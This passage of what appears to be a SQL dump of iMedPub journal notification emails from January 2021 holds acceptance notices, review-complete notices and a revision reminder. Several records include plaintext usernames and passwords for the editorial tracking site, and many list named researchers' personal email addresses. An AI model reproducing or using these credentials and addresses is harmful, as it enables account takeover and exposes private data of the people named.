style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','semwali2001@gmail.com',7117,'2021-01-21',48),(2493,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7098</b><br />\r\n            <br />\r\n            Article Title: <b>Reality of life and environmental changes after COVID-19 pandemic in India</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ramachandran</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kalpana.s@tnmgrmu.ac.in',7098,'2021-01-21',48),(2495,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6580</b><br />\r\n            <br />\r\n            Article Title: <b>Biopsychosocial Implications of Crystal Methamphetamine Abuse: A Review of Literature</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Anisha Kumar</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-6580</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',6580,'2021-01-22',75),(2496,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7125</b><br />\r\n            <br />\r\n            Article Title: <b>ACUTE RISK IN HELICOPTER EMERGENCY MEDICAL SERVICE TRANSPORT OPERATIONS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Aherne</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bryan.aherne@hotmail.com',7125,'2021-01-22',48),(2498,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6580</b><br />\r\n            <br />\r\n            Article Title: <b>Biopsychosocial Implications of Crystal Methamphetamine Abuse: A Review of Literature</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kumar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-22</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','anisha.kumar@psy.christuniversity.in',6580,'2021-01-22',75),(2503,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6580</b><br />\r\n            <br />\r\n            Article Title: <b>Biopsychosocial Implications of Crystal Methamphetamine Abuse: A Review of Literature</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kumar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','anisha.kumar@psy.christuniversity.in',6580,'2021-01-23',75),(2504,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-7009</b><br />\r\n            <br />\r\n            Article Title: <b>Assessing Neural Oscillations during Erotic and Negative Emotional Pictures Viewing: An Event-related potential study</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Fetlework Tenssay</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-7009</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',7009,'2021-01-23',75),(2508,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7165</b><br />\r\n            <br />\r\n            Article Title: <b>Community-level factors associated with COVID-19 Morbidity and Mortality in Queens, New York City  </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Gunness,</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-24</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','gunnessh@stjohns.edu',7165,'2021-01-25',48),(2509,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7151</b><br />\r\n            <br />\r\n            Article Title: <b>The Effect of Potentialization After Electro-Stimulation Activation on Vertical Heel Performance</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Tonello</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lais101288@gmail.com',7151,'2021-01-25',48),(2510,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6784</b><br />\r\n            <br />\r\n            Article Title: <b>Antibody response in COVID-19 among Healthcare Workers</b><br />\r\n            <br />\r\n            Corresponding Author: <b>MUHAMMAD YOUNAS</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6784</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> szarpak<br />\r\n            <b>Password:</b> eRgytVxj<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','lukasz.szarpak@gmail.com',6784,'2021-01-25',85),(2511,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7151</b><br />\r\n            <br />\r\n            Article Title: <b>The Effect of Potentialization After Electro-Stimulation Activation on Vertical Heel Performance</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Tonello</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lais101288@gmail.com',7151,'2021-01-25',48),(2512,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7160</b><br />\r\n            <br />\r\n            Article Title: <b>&acirc;&euro;&oelig;A Meta- Analysis of various Medical Condition With Usability evaluation of Human Health Research Web Based Portal Study involving 500 Participants Data Analysis of Medical Condition&acirc;&euro;</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kaulwar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','pallavikaulwar1998@gmail.com',7160,'2021-01-25',48),(2517,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-7009</b><br />\r\n            <br />\r\n            Article Title: <b>Assessing Neural Oscillations during Erotic and Negative Emotional Pictures Viewing: An Event-related potential study</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Tenssay</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-25</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fetlehu@gmail.com',7009,'2021-01-25',75),(2522,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7182</b><br />\r\n            <br />\r\n            Article Title: <b>MSN</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chen</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','chenll@yandex.com',7182,'2021-01-27',48),(2523,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7128</b><br />\r\n            <br />\r\n            Article Title: <b>Burden of diarrheal disease among under five children in Ethiopia, 2000-2016: findings from the Global Health Estimates 2016</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>mesfin</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','hazardkuku@gmail.com',7128,'2021-01-27',48),(2524,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7111</b><br />\r\n            <br />\r\n            Article Title: <b>EPIDEMIOLOGY OF COMMUNITY ACQUIRED PNEUMONIA IN ETHIOPIA: A REVIEW ARTICLE</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Aferu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','temesgenaferu@gmail.com',7111,'2021-01-27',48),(2525,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7022</b><br />\r\n            <br />\r\n            Article Title: <b>unmet need of family planning and associated factor among married and union women with disability in southern Ethiopia </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>mesfin</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','hazardkuku@gmail.com',7022,'2021-01-27',48),(2530,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7125</b><br />\r\n            <br />\r\n            Article Title: <b>ACUTE RISK IN HELICOPTER EMERGENCY MEDICAL SERVICE TRANSPORT OPERATIONS</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Science Journal</b><br />\r\n            <br />\r\n            Dear Dr. <b>Aherne</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>iphsj-21-7125</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.hsj.gr/\">https://www.hsj.gr/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>bryan</b><br />\r\n            Password : <b>PRTAfnmj</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','bryan.aherne@hotmail.com',7125,'2021-01-27',48),(2541,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7125</b><br />\r\n            <br />\r\n            Article Title: <b>ACUTE RISK IN HELICOPTER EMERGENCY MEDICAL SERVICE TRANSPORT OPERATIONS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Aherne</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-01-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid 